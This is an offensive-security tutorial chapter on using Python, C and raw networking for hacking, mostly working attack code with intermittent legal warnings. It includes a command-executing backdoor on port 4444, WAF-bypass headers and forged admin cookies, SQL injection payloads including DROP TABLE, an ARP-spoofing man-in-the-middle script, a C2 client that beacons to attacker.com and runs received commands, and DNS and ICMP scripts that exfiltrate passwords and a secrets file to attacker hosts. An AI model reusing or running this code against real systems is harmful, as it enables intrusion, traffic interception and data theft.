NullSector NullSector

The Hacker's Programming Philosophy

Most programmers write code to build things. Hackers write code to break things, understand things, and rebuild them better. This fundamental difference in perspective changes everything about how you approach programming.

When a developer sees a function, they see what it does. When a hacker sees a function, they see what it could do - every edge case, every unexpected input, every way it might fail. This chapter will transform you from someone who uses programming languages into someone who weaponizes them.

The Locksmith vs The Lockpick

Regular programmers are locksmiths - they build locks that work as intended. Hackers are lockpicks - they understand locks so deeply that they can open any lock, even ones they've never seen before. Both need deep knowledge of mechanisms, but lockpicks need to understand failure modes, tolerances, and exploitation vectors that locksmiths never consider.

This chapter teaches you to be both - to build robust systems AND exploit weak ones.

Why Hackers Need Multiple Languages

You can't be a elite hacker with just one language. Different attack surfaces require different tools:

🐍 Python - The Swiss Army Knife

Use Case: Rapid exploit development, network automation, web scraping, API fuzzing, quick scripts.

Why Essential: 90% of security tools are written in Python. Most CTF challenges can be solved with Python. It's the lingua franca of hacking.

Hacker Mindset: "If I can script it in 5 minutes, I can automate attacking 10,000 targets tonight."

βš™οΈ C - The Systems Language

Use Case: Binary exploitation, understanding memory corruption, writing shellcode, kernel hacking, reverse engineering.

Why Essential: Most vulnerabilities exist at the C level - buffer overflows, format strings, use-after-free. You can't exploit what you don't understand.

Hacker Mindset: "Show me the assembly and I'll show you the exploit."

πŸ”§ Assembly - The Hardware Language

Use Case: Reverse engineering malware, analyzing exploits, writing compact shellcode, understanding CPU-level security.

Why Essential: When you read disassembled binaries, you're reading assembly. When you craft exploits, you're thinking in assembly. This is the language computers actually speak.

Hacker Mindset: "Every instruction is an opportunity. Every register is a weapon."

The 80/20 Reality

80% of your hacking will be in Python - scripts, tools, automation, networking. It's fast to write, easy to debug, and perfect for proof-of-concepts.

15% will be in C - understanding vulnerabilities, reading source code, modifying exploits, writing low-level tools.

5% will be in Assembly - reverse engineering, shellcode development, analyzing malware, understanding processor-level exploitation.

But that 5% is where legendary hackers are made. Anyone can run Metasploit. Only true hackers understand what Metasploit is actually doing under the hood.

The Hacker Development Workflow

Professional developers follow Agile, do code reviews, write tests. Hackers have a different workflow:

  1. Reconnaissance - Understand the target system completely before writing a single line of code
  2. Rapid Prototyping - Build quick proof-of-concept exploits to test theories
  3. Iterative Refinement - Exploit failed? Understand why, adjust, try again
  4. Weaponization - Once it works, make it reliable, portable, and undetectable
  5. Documentation - Write detailed exploit notes for future reference and bug bounties

⚠️ The Ethics Line

Everything in this chapter can be used for good or evil. Penetration testers use these skills to protect systems. Black hats use them to steal data and extort companies. Bug bounty hunters use them to earn six-figure incomes legally.

The difference is permission. Never test your skills on systems you don't own or don't have written authorization to test. One unauthorized scan can land you in federal prison. Countries have extradition treaties for cybercrime.

Build your lab, use HackTheBox, play CTFs, do bug bounties. There are infinite legal targets. You don't need to break the law to become elite.

Thinking Like a Hacker: The Attack Surface Mindset

When you look at code as a hacker, you see it differently than other programmers. Let's examine this simple Python function through both lenses:

def process_user_input(username): return f"Hello, {username}!"

Developer sees: A friendly greeting function that returns a personalized message.

Hacker sees:

Every input is untrusted. Every output is a potential attack vector. Every assumption is a vulnerability waiting to happen. This paranoid mindset is what separates script kiddies from professionals.

The Adversarial Mindset

Imagine you're designing a vault. A normal engineer thinks: "How do I make this secure?" A hacker thinks: "If I were trying to rob this vault, how would I do it?" Then they design the vault to prevent those attacks.

The best security professionals think like attackers first, defenders second. You can't protect what you don't understand, and you can't understand attacks without thinking like an attacker.

Building Your Hacker Development Environment

Before we dive into languages, let's set up your workspace. Hackers don't develop in Windows with Visual Studio. Here's your toolkit:

Tool Purpose Why Hackers Use It
Kali Linux Operating System Pre-loaded with 600+ hacking tools, optimized for security testing
Visual Studio Code Code Editor Lightweight, extensible, works across languages, great debugging
GDB + Pwndbg Debugger Step through assembly, analyze memory, develop exploits
Python 3.x Scripting Language Built into Kali, perfect for rapid exploit development
GCC C Compiler Compile exploits, understand vulnerabilities, build tools
Tmux Terminal Multiplexer Multiple terminal panes, persistent sessions, efficient workflow

Set this up now if you haven't already. Everything in this chapter assumes you're working in a Linux environment. If you're on Windows, use WSL2 or run Kali in a VM. Mac users have it easier - most tools work natively on Unix systems.

The Hacker's Daily Driver

Real penetration testers typically use:

  • Primary OS: Kali Linux or ParrotOS (for offensive work)
  • Terminal: Tmux with multiple panes (code, target, notes)
  • Editor: Vim/Neovim (for speed) or VSCode (for convenience)
  • Notes: Obsidian or CherryTree for documenting findings
  • Burp Suite: Always running, intercepting traffic

The faster you can iterate (test β†’ analyze β†’ modify β†’ test), the more vulnerabilities you'll find. Efficient tooling makes you a 10x hacker.

Python for Security - Beyond Scripts

You already know Python basics. Now learn to wield it as a weapon. This section covers socket programming, HTTP manipulation, parsing, and automation - the building blocks of every security tool you'll ever use.

Why Python Dominates Cybersecurity

Walk into any security conference, any CTF, any bug bounty hunter's laptop, and you'll see Python everywhere. There's a reason:

Python is Your Duct Tape

In the physical world, duct tape fixes everything quickly. It's not elegant, but it works. Python is the hacker's duct tape - need to parse weird data? Python. Need to send 10,000 requests? Python. Need to automate repetitive tasks? Python.

Meanwhile, C is your welding torch - slower to use, requires more skill, but creates permanent, robust solutions. Assembly is your microscope - tedious, but shows you details impossible to see otherwise.

Master all three, but reach for Python first.

Network Programming: Sockets and Protocols

At its core, hacking is about talking to systems in ways they don't expect. HTTP is just formatted text over TCP. SSH is encrypted text over TCP. Everything is sockets underneath.

Raw Socket Programming - TCP Client

Forget requests library for a moment. Let's build HTTP from scratch:

import socket # Create a TCP socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Connect to target target = ("example.com", 80) sock.connect(target) # Send raw HTTP request request = b"GET / HTTP/1.1\r\nHost: example.com\r\n\r\n" sock.send(request) # Receive response response = sock.recv(4096) print(response.decode()) sock.close()

What's happening here?

Why This Matters for Hacking

When you use requests.get(), it does all of this for you - but it also makes assumptions. What if the target doesn't follow HTTP standards? What if you need to craft a malformed request to trigger a bug? What if you need to send data faster than the library allows?

Raw sockets give you complete control. You can craft any packet, violate any protocol, send any data. This is essential for:

  • Exploiting protocol vulnerabilities
  • Bypassing WAFs that expect standard requests
  • Writing custom C2 (Command & Control) protocols
  • Implementing uncommon protocols the target uses

Building a TCP Server - Your First Backdoor

Servers listen for connections. Backdoors are servers that execute commands. Let's build one:

import socket import subprocess def run_command(cmd): """Execute shell command and return output""" try: output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT) return output except subprocess.CalledProcessError as e: return e.output # Create server socket server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # Bind to interface server.bind(("0.0.0.0", 4444)) server.listen(5) print("[*] Listening on port 4444...") while True: client, addr = server.accept() print(f"[+] Connection from {addr[0]}:{addr[1]}") while True: # Receive command cmd = client.recv(1024).decode().strip() if cmd.lower() == "exit": break if not cmd: continue # Execute and send result result = run_command(cmd) client.send(result + b"\n") client.close() print(f"[-] Connection from {addr[0]} closed")

This is a fully functional reverse shell. Run this on a compromised machine, connect with nc <ip> 4444, and you have remote command execution. This 40-line Python script is the basis of thousands of real-world backdoors.

⚠️ Legal Notice: Do NOT Deploy This Unauthorized

This code is for educational purposes and authorized testing ONLY. Deploying backdoors on systems you don't own is a federal crime under CFAA (Computer Fraud and Abuse Act). Penalties include:

  • Up to 20 years in prison for malicious access
  • Fines up to $500,000
  • Permanent criminal record
  • Civil lawsuits for damages

Use this in your own lab, on CTF platforms, or with written authorization. Never on production systems, never without permission, never "just to see if it works."

Advanced Socket Concepts for Exploitation

Beyond basic connect/send/recv, hackers need to understand:

Technique Use Case Python Implementation
Non-blocking Sockets Handle multiple connections simultaneously without threading sock.setblocking(False)
Socket Timeout Detect dead connections, avoid hanging forever sock.settimeout(5.0)
UDP Sockets Faster than TCP, good for scanners and DoS socket.SOCK_DGRAM
Raw Sockets Craft custom IP packets, requires root/admin socket.SOCK_RAW

HTTP Manipulation: Requests on Steroids

The requests library is perfect for normal HTTP. But hackers need abnormal HTTP. Let's explore advanced techniques:

Custom Headers for WAF Bypass

import requests # Standard request - might get blocked response = requests.get("https://target.com/admin") # Custom headers to bypass detection headers = { "User-Agent": "Mozilla/5.0 (compatible; Googlebot/2.1)", "X-Forwarded-For": "127.0.0.1", # Pretend we're localhost "X-Originating-IP": "127.0.0.1", "X-Remote-IP": "127.0.0.1", "X-Remote-Addr": "127.0.0.1" } response = requests.get("https://target.com/admin", headers=headers)

Many web application firewalls (WAFs) trust certain headers. X-Forwarded-For tricks the backend into thinking you're connecting from a trusted IP. User-Agent: Googlebot makes you look like a search engine crawler.

Session Persistence and Cookie Manipulation

import requests # Create a session - maintains cookies across requests session = requests.Session() # Login login_data = { "username": "admin", "password": "password123" } session.post("https://target.com/login", data=login_data) # Session now has authentication cookie # All subsequent requests use this cookie automatically response = session.get("https://target.com/dashboard") # Manually inject a cookie session.cookies.set("admin", "true", domain="target.com") session.cookies.set("role", "administrator", domain="target.com") # Now you're "authenticated" with forged cookies response = session.get("https://target.com/admin-panel")

Cookie manipulation is critical for:

Handling Proxies for Burp Suite Integration

import requests # Route traffic through Burp for analysis proxies = { "http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080" } # Disable SSL verification (Burp uses self-signed cert) response = requests.get("https://target.com", proxies=proxies, verify=False)

This lets you:

Parsing and Data Extraction

Hacking generates massive amounts of data - scan results, log files, API responses, HTML pages. You need to extract intelligence from chaos quickly.

BeautifulSoup - HTML Parsing for Reconnaissance

import requests from bs4 import BeautifulSoup # Fetch target page response = requests.get("https://target.com") soup = BeautifulSoup(response.text, 'html.parser') # Extract all links links = [a.get('href') for a in soup.find_all('a')] # Find forms (potential injection points) forms = soup.find_all('form') for form in forms: action = form.get('action') method = form.get('method') inputs = [inp.get('name') for inp in form.find_all('input')] print(f"Form: {action} ({method}) - Inputs: {inputs}") # Find comments (developers leave secrets here) comments = soup.find_all(string=lambda text: isinstance(text, Comment)) for comment in comments: print(f"Comment found: {comment}")

This script automatically maps attack surface:

Regular Expressions for Pattern Matching

import re # Find potential SQL injection points in URLs text = """ Visit: https://target.com/user?id=123 Profile: https://target.com/profile.php?user=admin Search: https://target.com/search?q=test&category=all """ # Pattern: URLs with query parameters sqli_candidates = re.findall(r'https?://[^\s]+\?[^\s]+', text) # Find email addresses in response emails = re.findall(r'\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b', text) # Find AWS keys (common developer mistake) aws_keys = re.findall(r'AKIA[0-9A-Z]{16}', text) # Find private IPv4 addresses internal_ips = re.findall(r'10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2[0-9]|3[0-1])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}', text)

Regex is your intelligence filter. You dump gigabytes of data from a scan, regex extracts the 10 lines that matter. Master these patterns:

Pattern What It Finds Why It Matters
r'password\s*=\s*["\']([^"\']+)' Hardcoded passwords Instant access to systems
r'\b\d{1,3}\.{3}\d{1,3}\b' IP addresses Internal network discovery
r'(api[_-]?key|token)\s*[:=]\s*([a-zA-Z0-9]+)' API keys and tokens Access to third-party services
r'/admin|/dashboard|/config' Sensitive endpoints High-value targets

Automation: From Script to Weapon

A script you run manually is a tool. A script that runs itself is a weapon. Let's build automation that scales.

Multi-threaded Scanner

import requests import threading from queue import Queue class Scanner: def __init__(self, targets, threads=10): self.targets = Queue() for target in targets: self.targets.put(target) self.threads = threads self.results = [] self.lock = threading.Lock() def scan_target(self): while not self.targets.empty(): url = self.targets.get() try: response = requests.get(url, timeout=5) with self.lock: self.results.append({ 'url': url, 'status': response.status_code, 'length': len(response.content) }) print(f"[+] {url} - {response.status_code}") except requests.RequestException as e: print(f"[-] {url} - Failed: {e}") finally: self.targets.task_done() def run(self): threads = [] for _ in range(self.threads): t = threading.Thread(target=self.scan_target) t.daemon = True t.start() threads.append(t) self.targets.join() return self.results # Usage targets = [f"https://target.com/page{i}" for i in range(100)] scanner = Scanner(targets, threads=20) results = scanner.run() # Analyze results vulnerable = [r for r in results if r['status'] == 200] print(f"\n[*] Found {len(vulnerable)} accessible pages")

This scanner hits 100 URLs with 20 concurrent threads. On a gigabit connection, you can scan thousands of URLs per minute. Scale this to millions of targets and you're doing internet-wide reconnaissance.

The Automation Multiplier

A human can test one target per hour manually. That's 8 targets per workday, 40 per week. A script can test 1,000 targets per hour. That's 24,000 per day, 120,000 per week.

Bug bounty hunters who make six figures automate everything. They write scripts that test every endpoint, every parameter, every possible injection point across hundreds of targets simultaneously. While you're manually testing one site, they've already found and reported 50 vulnerabilities.

Don't compete on manual skill. Compete on automation efficiency.

Building Reusable Exploit Modules

Don't write the same code twice. Build libraries:

# exploit_toolkit.py import requests class ExploitBase: def __init__(self, target): self.target = target self.session = requests.Session() def test_sqli(self, param): """Test SQL injection on parameter""" payloads = ["'", "' OR '1'='1", "'; DROP TABLE users--"] for payload in payloads: response = self.session.get(f"{self.target}?{param}={payload}") if "error" in response.text.lower(): return True, payload return False, None def test_xss(self, param): """Test XSS on parameter""" payload = "<script>alert(1)</script>" response = self.session.get(f"{self.target}?{param}={payload}") if payload in response.text: return True return False def brute_directories(self, wordlist): """Brute force directory discovery""" found = [] with open(wordlist) as f: for line in f: path = line.strip() url = f"{self.target}/{path}" response = self.session.get(url) if response.status_code == 200: found.append(url) return found # Use it exploit = ExploitBase("https://target.com") sqli_vulnerable, payload = exploit.test_sqli("id") if sqli_vulnerable: print(f"[!] SQL Injection found with payload: {payload}")

Now you have a reusable framework. Every new target, you import your toolkit and run automated tests. Over time, your toolkit grows with every vulnerability you discover, every bypass you develop, every technique you learn.

The Professional Hacker's Toolkit

After a few years, professional pentesters have thousands of lines of custom Python code:

  • Recon modules: Subdomain enumeration, port scanning, tech detection
  • Exploit modules: SQLi, XSS, CSRF, XXE, SSRF, RCE testers
  • Parser modules: Extract data from Nmap, Burp, ZAP, Nessus
  • Reporting modules: Auto-generate pentest reports from findings
  • Utility modules: Encoding/decoding, payload generation, obfuscation

Build your arsenal incrementally. Every CTF, every bug bounty, every engagement - add to your toolkit. In 2 years, you'll have a competitive advantage worth $100k+ in saved time.

Network Programming: Packets, Protocols, and Power

HTTP is cute. TCP is comfortable. But real network hackers go deeper - crafting raw packets, implementing custom protocols, bending networking rules. This is where you transcend libraries and touch the network directly.

Understanding the Network Stack

Every packet you send traverses multiple layers. Understanding this is critical for exploitation:

Layer 7 - Application

Protocols: HTTP, FTP, SSH, DNS

Hacker View: Where most vulnerabilities live. Parse errors, logic flaws, injection points.

Attack Surface: Massive - every web app, every API, every service.

Layer 4 - Transport

Protocols: TCP, UDP

Hacker View: Connection manipulation, port scanning, covert channels.

Attack Surface: Firewall bypass, service fingerprinting, DoS attacks.

Layer 3 - Network

Protocols: IP, ICMP

Hacker View: Routing attacks, IP spoofing, tunneling.

Attack Surface: MitM attacks, routing table poisoning, reconnaissance.

Layer 2 - Data Link

Protocols: Ethernet, ARP, Wi-Fi

Hacker View: Local network attacks, MAC spoofing, ARP poisoning.

Attack Surface: Local network only, but devastating impact.

Most hackers work at Layer 7. Good hackers understand Layer 4. Elite hackers exploit all layers simultaneously. Let's go deeper.

Scapy: The Network Swiss Army Knife

Scapy is Python's most powerful networking library. It lets you build, manipulate, and send packets at any layer. This is essential for:

Building Packets from Scratch

from scapy.all import * # Layer 3 (IP) + Layer 4 (TCP) packet = IP(dst="192.168.1.1")/TCP(dport=80, flags="S") # Send and receive response response = sr1(packet, timeout=2) if response: print(f"[+] Port 80 is open") print(response.show()) else: print(f"[-] No response (port closed or filtered)")

What's happening:

You just manually performed a TCP SYN scan. Nmap does this at scale with optimizations, but conceptually, it's the same. You're crafting packets manually instead of relying on the OS.

The Legendary SYN Scan - Stealth Port Scanning

from scapy.all import * def syn_scan(target, ports): """ SYN scan: Send SYN, if we get SYN-ACK back, port is open. We don't complete the handshake (no ACK), making it stealthier. """ open_ports = [] for port in ports: # Craft SYN packet pkt = IP(dst=target)/TCP(dport=port, flags="S") # Send and wait for response response = sr1(pkt, timeout=1, verbose=0) if response and response.haslayer(TCP): # If SYN-ACK, port is open if response[TCP].flags == 0x12: # SYN-ACK open_ports.append(port) print(f"[+] Port {port} is OPEN") # Send RST to close connection (stealth) rst = IP(dst=target)/TCP(dport=port, flags="R") send(rst, verbose=0) # If RST, port is closed elif response[TCP].flags == 0x14: # RST-ACK print(f"[-] Port {port} is CLOSED") return open_ports # Scan common ports target = "192.168.1.1" ports = [21, 22, 23, 25, 80, 443, 3306, 3389, 8080] open_ports = syn_scan(target, ports) print(f"\n[*] Open ports: {open_ports}")

This is a production-quality stealth scanner in 30 lines. It's how Nmap's -sS flag works. You never complete the TCP handshake, making you harder to log, harder to detect.

Why SYN Scans Matter

Full TCP Connect: Complete 3-way handshake, get logged by target, leave traces in firewall logs.

SYN Scan: Never complete handshake, often not logged by applications, bypasses some IDS/IPS.

The difference is stealth. In a red team engagement, stealth = survival. Get detected and the blue team shuts you down. Stay stealthy and you maintain access for weeks.

ARP Spoofing - Man-in-the-Middle Attack

from scapy.all import * import time def get_mac(ip): """Get MAC address for IP using ARP""" arp = ARP(pdst=ip) broadcast = Ether(dst="ff:ff:ff:ff:ff:ff") response = srp(broadcast/arp, timeout=2, verbose=False)[0] return response[0][1].hwsrc if response else None def arp_spoof(target_ip, gateway_ip): """ Poison ARP cache to intercept traffic between target and gateway. Target thinks we are the gateway. Gateway thinks we are the target. All traffic flows through us. """ target_mac = get_mac(target_ip) gateway_mac = get_mac(gateway_ip) if not target_mac or not gateway_mac: print("[-] Could not resolve MAC addresses") return print(f"[*] Starting ARP spoofing") print(f"[*] Target: {target_ip} ({target_mac})") print(f"[*] Gateway: {gateway_ip} ({gateway_mac})") try: while True: # Tell target we are the gateway send(ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip), verbose=False) # Tell gateway we are the target send(ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip), verbose=False) time.sleep(2) except KeyboardInterrupt: print("\n[*] Restoring ARP tables...") # Restore correct ARP mappings send(ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip, hwsrc=gateway_mac), count=5, verbose=False) send(ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip, hwsrc=target_mac), count=5, verbose=False) # Execute (ONLY ON AUTHORIZED NETWORKS) target = "192.168.1.100" # Victim gateway = "192.168.1.1" # Router arp_spoof(target, gateway)

This script makes you the man-in-the-middle. All traffic between the target and the internet flows through your machine. You can:

⚠️ Extreme Legal Risk

ARP spoofing is highly illegal on networks you don't own. This is active interception of communications, which is a federal wiretapping offense. Penalties:

  • Up to 5 years for first offense
  • Up to 10 years for subsequent offenses
  • Fines up to $250,000
  • Can trigger additional charges: identity theft, fraud, espionage

Only use this:

  • On your own isolated lab network
  • In authorized penetration tests with signed contracts
  • On CTF/training platforms designed for this

Building Custom Protocols

Sometimes you need to implement protocols that don't have libraries. Or you need covert communication that doesn't look like standard protocols. Let's build a simple command & control (C2) protocol.

Custom C2 Protocol - Client

import socket import json import subprocess class C2Client: def __init__(self, server_ip, server_port): self.server = (server_ip, server_port) self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) def connect(self): """Connect to C2 server""" try: self.sock.connect(self.server) # Send beacon with system info import platform beacon = { "type": "beacon", "hostname": platform.node(), "os": platform.system(), "arch": platform.machine() } self.send_message(beacon) return True except Exception as e: return False def send_message(self, data): """Send JSON message with length prefix""" message = json.dumps(data).encode() length = len(message).to_bytes(4, 'big') self.sock.sendall(length + message) def recv_message(self): """Receive JSON message with length prefix""" length_data = self.sock.recv(4) if not length_data: return None length = int.from_bytes(length_data, 'big') data = b'' while len(data) < length: chunk = self.sock.recv(length - len(data)) if not chunk: return None data += chunk return json.loads(data.decode()) def execute_command(self, cmd): """Execute shell command""" try: output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT) return output.decode() except subprocess.CalledProcessError as e: return f"Error: {e.output.decode()}" def run(self): """Main command loop""" while True: message = self.recv_message() if not message: break if message["type"] == "execute": cmd = message["command"] output = self.execute_command(cmd) self.send_message({ "type": "result", "output": output }) elif message["type"] == "exit": break # Usage client = C2Client("attacker.com", 4444) if client.connect(): client.run()

This is enterprise-grade malware design:

Real APT groups use protocols exactly like this (plus encryption, obfuscation, anti-forensics). You just learned the architecture of nation-state malware.

Protocols as Languages

HTTP is English - everyone speaks it, tons of resources, highly standardized. Custom protocols are like constructed languages (Klingon, Elvish) - only you and your recipient understand them.

When you need to hide in plain sight, speak English (use HTTP/HTTPS tunneling). When you need absolute control and stealth, speak your own language (custom protocol). Advanced attackers do both - custom protocol wrapped in HTTP to bypass firewalls.

Covert Channels and Data Exfiltration

You've compromised a target behind a strict firewall. Only DNS and NTP are allowed out. How do you exfiltrate data? Covert channels.

DNS Tunneling - Exfiltration Over DNS Queries

from scapy.all import * import base64 def exfiltrate_via_dns(data, domain): """ Encode data in DNS queries to bypass firewall. Data gets encoded in subdomain names. """ # Encode data to base64 (DNS-safe) encoded = base64.b64encode(data.encode()).decode() # Split into chunks (DNS labels max 63 chars) chunks = [encoded[i:i+60] for i in range(0, len(encoded), 60)] for i, chunk in enumerate(chunks): # Build DNS query: chunk.sequence.attacker-domain.com query = f"{chunk}.{i}.{domain}" # Send DNS query pkt = IP(dst="8.8.8.8")/UDP(dport=53)/DNS(qd=DNSQR(qname=query)) send(pkt, verbose=False) print(f"[+] Sent chunk {i+1}/{len(chunks)}") # Exfiltrate sensitive data secret = "admin:SuperSecretPassword123!" exfiltrate_via_dns(secret, "attacker-controlled-domain.com")

On your attacker-controlled DNS server, you capture these queries and reassemble the data. The firewall sees "normal" DNS traffic. But you're actually streaming data out.

Real-world examples:

ICMP Tunneling - Data in Ping Packets

from scapy.all import * def send_data_via_icmp(data, target): """ Hide data in ICMP echo request payload. Looks like ping, actually exfiltrates data. """ # Split data into 32-byte chunks chunks = [data[i:i+32] for i in range(0, len(data), 32)] for i, chunk in enumerate(chunks): # Build ICMP packet with data payload pkt = IP(dst=target)/ICMP()/Raw(load=chunk.encode()) send(pkt, verbose=False) print(f"[+] Sent chunk {i+1}/{len(chunks)} via ICMP") # Exfiltrate file with open("secrets.txt", "r") as f: data = f.read() send_data_via_icmp(data, "attacker-server.com")

Firewalls often allow ICMP for network diagnostics. Attacker runs a listener that captures these ping packets and extracts the payload. Data exfiltrated, firewall none the wiser.

The Covert Channel Arsenal

Advanced attackers have many covert channels:

  • DNS: Queries, TXT records, responses
  • ICMP: Ping data, timestamp requests
  • HTTP Headers: Custom fields, cookies
  • NTP: Timestamp fields
  • Steganography: Data hidden in images uploaded to social media
  • Blockchain: Data encoded in Bitcoin transactions

If a protocol is allowed outbound, it can be weaponized for exfiltration. Blue teamers struggle because monitoring every covert channel is nearly impossible.

Performance and Optimization

Network code must be fast. Slow scanners get detected. Slow exploits give defenders time to respond. Let's optimize.

Asynchronous Networking with AsyncIO

import asyncio async def scan_port(ip, port): """Asynchronous port check""" try: reader, writer = await asyncio.wait_for( asyncio.open_connection(ip, port), timeout=1) writer.close() await writer.wait_closed() return port, True except: return port, False async def scan_range(ip, ports): """Scan multiple ports simultaneously""" tasks = [scan_port(ip, port) for port in ports] results = await asyncio.gather(*tasks) open_ports = [port for port, is_open in results if is_open] return open_ports # Scan 1000 ports in seconds ports = range(1, 1001) open_ports = asyncio.run(scan_range("192.168.1.1", ports)) print(f"[*] Open ports: {open_ports}")

This scans 1000 ports nearly simultaneously. Traditional sequential scanning would take 1000 seconds (with 1-second timeouts). Asyncio completes in ~1 second. That's a 1000x speed improvement.

Threading vs Async vs Multiprocessing

Threading: Multiple workers, but Python's GIL limits true parallelism. Good for I/O-bound tasks (network).

Async: Single-threaded but handles thousands of I/O operations concurrently. Best for network scanning.

Multiprocessing: True parallelism, uses multiple CPU cores. Best for CPU-intensive tasks (cracking, fuzzing).

For network hacking, async is king. For password cracking, multiprocessing dominates. Know when to use each.

C Programming Fundamentals - The Language of Exploitation

C is the backbone of modern computing. Linux kernel? C. Windows core? C. Networking stack? C. Every vulnerability you exploit likely exists in C code. To find them, to exploit them, to truly understand systems - you must master C.

Python lets you script quickly. C lets you touch memory directly. There's no abstraction, no safety nets, no garbage collection. Just you, the processor, and raw bytes. This is where hackers become dangerous.

C is Manual Transmission

Python is an automatic car - easy to drive, handles complexity for you, prevents many mistakes. C is a manual transmission race car - harder to drive, but gives you complete control over every aspect of performance.

Most drivers prefer automatic. But professional racers need manual to extract maximum performance and control. Similarly, most programmers prefer Python. But professional exploit developers need C to extract maximum control and understand vulnerabilities.

Why C Dominates Systems Programming

Over 50 years old, yet C remains irreplaceable. Why?

⚑ Performance

C compiles to machine code directly. No interpreter, no virtual machine, no overhead. When you write a + b, the CPU executes a single ADD instruction.

Hacker Benefit: Exploits must run fast, especially when racing against timeouts or detection systems.

🎯 Memory Control

Direct access to pointers, manual memory allocation, ability to read/write any address. You control EXACTLY what happens in RAM.

Hacker Benefit: Understanding memory is understanding vulnerabilities. Buffer overflows, heap corruption, stack smashing - all C concepts.

πŸ“ Minimal Abstraction

C doesn't hide how computers work. Arrays are just pointers. Strings are character arrays. Functions are memory addresses.

Hacker Benefit: When you reverse engineer binaries, you're essentially reading compiled C. No abstraction means nothing is hidden.

🌍 Universal

Every OS has a C compiler. Every platform runs C code. It's the universal language of systems.

Hacker Benefit: Exploits written in C work on any target. Cross-platform shellcode, portable backdoors, universal tools.

The Memory Model - Where C Gets Dangerous

In Python, you write x = 10 and Python handles memory. In C, you need to understand WHERE that 10 is stored, HOW it's stored, and WHO else can access it.

Memory Segments

Every C program's memory is divided into regions:

Segment Purpose Exploitation Angle
Text Program code (instructions) Usually read-only, but if writable β†’ code injection attacks
Data Initialized global variables Overwriting globals can change program behavior
BSS Uninitialized global variables Often zero-initialized, predictable for some attacks
Heap Dynamic allocation (malloc/free) Use-after-free, heap overflow, double-free attacks
Stack Local variables, function calls Buffer overflows, return address overwriting, ROP chains

The stack is where most beginner exploits live. Let's dive deep.

The Stack - Your Exploitation Playground

The stack stores function calls and local variables. It grows downward (from high addresses to low). Each function call creates a "stack frame":

Function call happens: 1. Arguments pushed onto stack 2. Return address pushed (where to return after function) 3. Old base pointer saved 4. Local variables allocated 5. Function executes 6. Local variables destroyed 7. Base pointer restored 8. Return address popped 9. Control jumps back to caller Stack frame layout (grows downward β†’): β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” ← High addresses β”‚ Arguments β”‚ β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ β”‚ Return Addr β”‚ ← THIS is what we target β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ β”‚ Old RBP β”‚ β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ β”‚ Local Var 1 β”‚ β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ β”‚ Local Var 2 β”‚ β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ β”‚ buffer β”‚ ← Overflow starts here β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ ← Low addresses (stack grows down)

See that return address? If we overflow a buffer, we can overwrite it. When the function returns, instead of going back to the legitimate caller, it jumps to OUR address. Game over - we control execution.

Pointers - The Source of Power and Vulnerabilities

Pointers are variables that store memory addresses. They're why C is powerful and why C is dangerous.

Basic Pointer Syntax

#include int main() { int x = 42; int *ptr = &x; // ptr stores the ADDRESS of x printf("Value of x: %d\n", x); // 42 printf("Address of x: %p\n", &x); // 0x7fff1234abcd printf("Value of ptr: %p\n", ptr); // 0x7fff1234abcd (same) printf("Dereferenced ptr: %d\n", *ptr); // 42 // Modify x through pointer *ptr = 100; printf("New value of x: %d\n", x); // 100 return 0; }

Key concepts:

Pointer Arithmetic - Walking Through Memory

#include int main() { int arr[5] = {10, 20, 30, 40, 50}; int *ptr = arr; // Array name is a pointer to first element printf("arr[0]: %d\n", *ptr); // 10 printf("arr[1]: %d\n", *(ptr + 1)); // 20 printf("arr[2]: %d\n", *(ptr + 2)); // 30 // ptr + 1 doesn't add 1 byte, it adds sizeof(int) bytes! // If int is 4 bytes, ptr + 1 adds 4 to the address for (int i = 0; i < 5; i++) { printf("Address: %p, Value: %d\n", ptr + i, *(ptr + i)); } return 0; }

Why this matters for hacking: When you exploit a buffer overflow, you're doing pointer arithmetic. You calculate: "I need to write X bytes to reach the return address, then overwrite it with this shellcode address."

Dangerous Pointer Patterns

// NULL Pointer Dereference int *ptr = NULL; *ptr = 42; // CRASH - dereferencing NULL // Wild Pointer (uninitialized) int *ptr; *ptr = 42; // UNDEFINED - ptr contains garbage address // Dangling Pointer (pointer to freed memory) int *ptr = malloc(sizeof(int)); free(ptr); *ptr = 42; // VULNERABILITY - use-after-free // Buffer Overflow via Pointer char buffer[10]; char *ptr = buffer; for (int i = 0; i < 20; i++) { ptr[i] = 'A'; // OVERFLOW - writing past buffer end }

Every single one of these patterns has been exploited in real-world attacks. Understanding them makes you dangerous - you can spot vulnerabilities in source code instantly.

Manual Memory Management - Where Bugs Live

Python handles memory automatically. C makes YOU do it. With great power comes great responsibility - and great vulnerabilities.

Dynamic Allocation with malloc/free

